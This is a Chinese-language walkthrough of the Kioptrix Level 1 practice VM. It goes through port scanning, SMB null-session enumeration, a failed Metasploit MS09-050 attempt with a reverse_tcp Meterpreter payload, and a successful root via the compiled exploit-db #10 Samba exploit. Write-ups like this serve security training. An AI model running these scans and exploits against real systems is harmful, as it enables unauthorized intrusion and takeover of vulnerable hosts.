Kioptrix Level 1 Walkthrough

Box Info

官网在这里:Kioptrix: Level 1 (#1)

image-20250409203110907

The Hack

确定存活的主机

nmap -sn 192.168.186.0/24

image-20250409091929430

对目标 IP 进行端口发现

nmap -p- 192.168.186.146

image-20250409092017367

对开放的端口进行应用版本发现

nmap -p 22,80,111,139,443,32768 -A 192.168.186.146

发现 SSH、HTTP、RPC、SMB、HTTPS 和未知服务的端口

image-20250409092138040

先来看 80 端口,进行目录扫描

dirsearch -u http://192.168.186.146/

发现有部分页面重定向 IP 至 127.0.0.1

image-20250409092236680

使用 SSH 本地端口转发

sudo systemctl start ssh
ssh -CNfg -L 80:192.168.186.146:80 kali@127.0.0.1

image-20250409092329968

这样访问 127.0.0.1 就是目标 IP 地址了

image-20250409092631834

看来看去没有泄露敏感信息

再来看看 111 端口 RPC 服务,对开放的 service 进行枚举

rpcinfo -p 192.168.186.146

发现 status 服务,与 nmap 扫描出来开放的端口一致

image-20250409170610467

尝试使用 rpcinfo 远程连接

rpcinfo -T tcp 192.168.186.146 32768
rpcinfo -T udp 192.168.186.146 32768

发现该端口未注册却开放(?) , 有点意思

image-20250409170729489

试试看直接连接能否有响应

nc -nv 192.168.186.146 32768 

看来没有…

image-20250409170907523

拿来看 139 端口,使用 enum4linux 对目标主机 SMB 服务做基础枚举

enum4linux -a 192.168.186.146

发现可以用空用户名和空密码登陆

image-20250409171116368

发现了文件共享目录

image-20250409171145582

尝试远程挂载 IPC$ 目录

smbclient //192.168.186.146/IPC$ -U "" -N

尝试枚举文件,失败

image-20250409172808928

此错误通常是 Samba 服务端配置引起的,看来 /IPC$ 并不能让我们完全访问

再来看看 ADMIN$

smbclient //192.168.186.146/ADMIN$ -U "" -N

也失败了

image-20250409172921297

那我们试试 nmap 自带脚本扫描目标 Samba 服务吧

nmap --script smb-* -p 139 192.168.186.146

发现可利用漏洞:CVE-2009-3103

image-20250409173340960

使用 msf 直接利用 CVE-2009-3103 漏洞

┌──(root㉿kali)-[~]
└─# msfconsole
...
msf6 > search MS09_050
msf6 > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > options
msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > set rhost 192.168.186.146
msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > set RPORT 139
msf6 exploit(windows/smb/ms09_050_smb2_negotiate_func_index) > run

可惜利用失败了

image-20250409202425206

image-20250409202523771

也可以使用 msf 发现对应 Samba 服务版本

┌──(root㉿kali)-[~]
└─# msfconsole
...
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOST 192.168.186.146
RHOST => 192.168.186.146
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 192.168.186.146:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.186.146:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.186.146: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

结果搜索发现可以利用 https://www.exploit-db.com/exploits/10 的 payload

image-20250409195041900

将脚本保存为 exp.c 文件,并静态编译,兼容低版本

image-20250409195439627

执行 exp 脚本

./exp -b 0 192.168.186.146

提权成功

image-20250409195553008